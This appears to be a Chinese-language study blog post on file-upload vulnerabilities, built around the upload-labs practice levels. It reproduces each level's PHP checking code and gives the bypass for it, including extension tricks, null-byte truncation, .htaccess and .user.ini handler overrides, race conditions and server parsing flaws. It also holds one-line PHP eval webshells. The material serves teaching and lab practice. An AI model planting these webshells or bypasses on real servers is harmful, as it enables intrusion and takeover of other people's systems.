文件上传

发布于 2022-03-27  230 次阅读


简单介绍

原理:

由于程序员在编写代码时候在对用户文件上传功能实现代码上没有严格限制用户上传的文件后缀以及文件类型或者处理缺陷,而导致用户可以越过其本身权限向服务器上上传可执行的动态脚本文件,简单的来说就是服务器端没有对客户端上传的文件进行严格验证或过滤,用户可以上传一个可执行的脚本文件,并通过此脚本获得了执行服务器端命令的能力而引发危害

危害:

上传webshell,被获取服务器权限

判断可能出现的位置:

  • 能否上传,能否找到路径
  • 任何上传点,数据库备份,编辑模板

校验

upload-labs

HTTP请求头

POST /upload.php HTTP/1.1
Host: localhost
Content-Length: 274
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2
Connection: close

------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="file_x"; filename="xx.php"

请求Header中Content-Type存在以下特征:

  • multipart/form-data(表示该请求是一个文件上传请求)
  • 存在boundary字符串(作用为分隔符,以区分POST数据)

POST的内容存在以下特征:

  • Content-Disposition
  • name
  • filename
  • POST中的boundary的值就是Content-Type的值在最前面加了两个–,除了最后标识结束的boundary

客户端JavaScript校验(一般只检验后缀名)

一般都是用javascript脚本检验上传文件的后缀

服务端校验

文件头content-type字段校验(image/gif)

模拟web服务器端的校验代码

<?php
if($_FILES['userfile']['type'] != "image/gif")  #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。
{   
    echo "Sorry, we only allow uploading GIF images";
    exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
}
else 
{
   echo "File uploading failed.\n";
}
?>

代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误

文件内容头校验(GIF89a)

主要是检测文件内容开始处的文件幻数

.JPEG;.JPE;.JPG,”JPGGraphic File”
.gif,”GIF 89A”
.zip,”Zip Compressed”
.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
后缀名黑名单校验

使用黑名单对上传的文件进行过滤,主要是对后缀进行过滤,可能会因为过滤不全或未对上传名单词进行敏感字符清除

后缀名白名单校验
自定义正则校验
WAF设备校验(根据不同的WAF产品而定)
其他
  • 文件内容检测
    • 图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
  • 文件加载检测
    • 一般是调用API函数去进行文件加载测试,常见的是图像渲染测试,再变态点的是进行二次渲染。对渲染/加载测试的攻击方式是代码注入绕过;对二次渲染的攻击方式是攻击文件加载器自身。
      二次渲染:相当于是把原本属于图像数据的部分抓了出来,再用自己的API或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了

绕过

前端绕过

指数据上传后为提交到服务器,而是由于网站页面的js对其进行过滤,确认是否可以上传,删除限制上传js规则即可

黑名单绕过
特殊解析后缀绕过
htaccess解析绕过
大小写绕过
点绕过
空格绕过
::$$DATA数据流绕过
配合解析绕过
双后缀解析绕过
特殊解析后缀绕过 -upload-labs-03

黑名单限制php上传,但apache对php3.php5.phtml等也可以直接解析为php,故可将php后缀改为php3等,如果上传成功.php3,如果Apache不能解析,在Apache的配置文件httpd.conf文件中添语句php3即可image-20220325153628067

.htaccess解析绕过-upload-labs-04

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令我们使用apache部署一个网站代码准备部署到网上的时候,我们手中的apache的httpd.conf大家肯定都知道。这是apache的配置文件,然而我们大多数的网站都是基于云服务器来部署的,还有就是团队协作开发的时候,我们很难直接修改公共的httpd.conf,这时 .htaccess就是httpd.conf的衍生品,它起着和httpd.conf相同的作用

.htaccess的基本作用
  • URL重写、自定义错误页面
  • MIME类型配置
  • 访问权限控制等
  • 主要体现在伪静态的应用
  • 图片防盗链
  • 自定义404错误页面
  • 阻止/允许特定IP/IP段
  • 目录浏览与主页
  • 禁止访问指定文件类型
  • 文件密码保护

启用.htaccess

httpd.conf,查找AllowOverride。启用AllowOverride————允许重写覆盖相关配置

image-20220325154759367

打开mod_rewrite机制,即还是在.httpd.conf中查找mod_rewrite.so————在httpd.conf外重写配置

image-20220325155125472

先上传htaccess文件,重新命名解析规则,只针对当前目录下

<IfModule mime_module> SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行 
</IfModule> 或 
AddType application/x-httpd-php .jpg #将当前目录下jpg文件当作php运行

再上传写入php的图片(图片马)即可

.user.ini

php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门

image-20220325172015125

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载

利用

auto_prepend_file//相当于在所有php开头写入require
auto_append_file//相当于在php最后写入require

假设现在目录下有一个index.php文件,该目录可以进行上传

我们需要上传两个文件来进行利用

首先是

a.jpg
//内容是:
<?php eval($_GET['shell']); ?>

然后是.user.ini文件

auto_prepend_file=a.jpg

相当于在所有php文件头里写入了require('./a.jpg')

大小写绕过-upload-labs-05
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码未过滤大小写,导致Php可上传后任可解析为php

加点绕过-upload-labs-07
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在windows中一个文件的后缀加上一个点与原来的后缀没有区别,从而用来文件上传绕过

空格绕过-upload-labs-06
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

由于没有对文件后缀名进行去空,因此可以在后缀名加空格绕过,文件属性不会变

::$$DATA数据流绕过-upload-labs-08

在php+windows的情况下:如果文件名+”::$DATA“会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA“之前的文件名

配合解析绕过 upload-labs-9
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//进行拼接
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

由于代码对文件名最后是进行拼接的,可以伪造文件名
代码先是去除文件名前后的空格,再去除文件名最后所有的“.”,再通过strrchar函数来寻找“.”来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过

双后缀解析 upload-labs-10
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

由于代码函数逻辑原因,1.pphphp 最后经过函数过滤完又恢复为1.php从而绕过。具体还是要代码审计,查找配合解析漏洞

白名单绕过
MIME绕过-uplod-labs-02

MIME即为Content-Type: image/gif 在有些时候对MIME有过滤,即可将允许上传文件MIMEcopy给要上传的文件属性,从而实现绕过

text/plain:纯文本,文件扩展名.txt
text/html:HTML文本,文件扩展名.htm和.html
image/jpeg:jpeg格式的图片,文件扩展名.jpg
image/gif:GIF格式的图片,文件扩展名.gif
audio/x-wave:WAVE格式的音频,文件扩展名.wav
audio/mpeg:MP3格式的音频,文件扩展名.mp3
video/mpeg:MPEG格式的视频,文件扩展名.mpg
application/zip:PK-ZIP格式的压缩文件,文件扩展名.zip
%00截断-upload-labs–11

截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
%00截断用在数据包的文件url地址上面,在url地址文件地址后加上截断即可

/upload/1.php%00 使拼接无法实现 原来图片包含文件内容将写入1.php ,访问1.php即可
0x00截断-upload-labs-12
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

save_path参数通过POST方式传递,还是利用00截断,因为POST不会像GET对%00进行自动解码,所以需要在二进制中进行修改
由于get请求会对一些字符自动解码,而在post传递,不会对字符解码,故需要我们自己转换
这种截断不同于%00,它是在数据包中间的文件地址,文件名后截断

0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制

image-20220325164231469

将20改为00

0x0a截断

0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置

其他类型
文件头检测绕过

图片文件以字符展示出来时候,每一种格式的图片的前几个字符是固定,或者是数据包里面的Content-Type类型修改,从而绕过上传

二次渲染上传绕过-upload-labs-16
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

在我们将文件上传到服务器,有一些服务器会对上传的文件进行二次修改,以服务器的类型储存起来,但是文件的外表不会变化,文件的hex值会发生一些变化,在upload-16关,发现服务器对我们上传的文件进行二次渲染,当我们之前将一句话木马插入经过服务器储存后再次查看hex值发现很多地方的值发生改变,我们经过原图片hex值对比,发现会有不会改变的值,我们将木马插入到这一串不会改变的值的位置里面,从而实现上传webshell

条件竞争绕过-upload-labs-17
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。思路是首先上传一个php文件,当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell

突破getimagesize 绕过-upload-labs-14
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

getimagesize这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的,上传图片马,写入代码到图片,使用文件包含漏洞,访问该图片地址即可

突破exif_imagetype绕过-upload-labs-15
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值跟getimagesize() 返回的数组中的索引 2 的值是一样的,但exif_imagetype函数快得多,同getimagesize函数一样,也是修改文件头信息,配合文件包含漏洞上传

服务器解析漏洞
IIS 5.x/6.0解析漏洞

IIS5.x-6.x:
1、目录解析(6.0):/1.asp/1.jpg 在此目录下的任意文件,服务器都解析为asp文件
2、文件解析:1.asp;.jpg
3、文件类型:1.asa,a.cer,1.cdx

IIS7.5:
IIS7.5是由于php配置文件中,开启了cgi.fix_pathinf

Apache解析漏洞

Apache:
从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
后缀不识别:1.php.php123
配置错误:1.php.jpg

Nginx解析漏洞

Nginx:
Nginx默认是以CGI的方式支持PHP解析的,和IIS7.5一样开启了cgi.fix_pathinf
1.jpg/1.php
1.jpg%00.php
1.jpg/%20\1.php
上传一个名字为test.jpg,以下内容的文件
<?php @eval($_REQUEST['cmd']);?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

Daniel_WRF
最后更新于 2023-09-22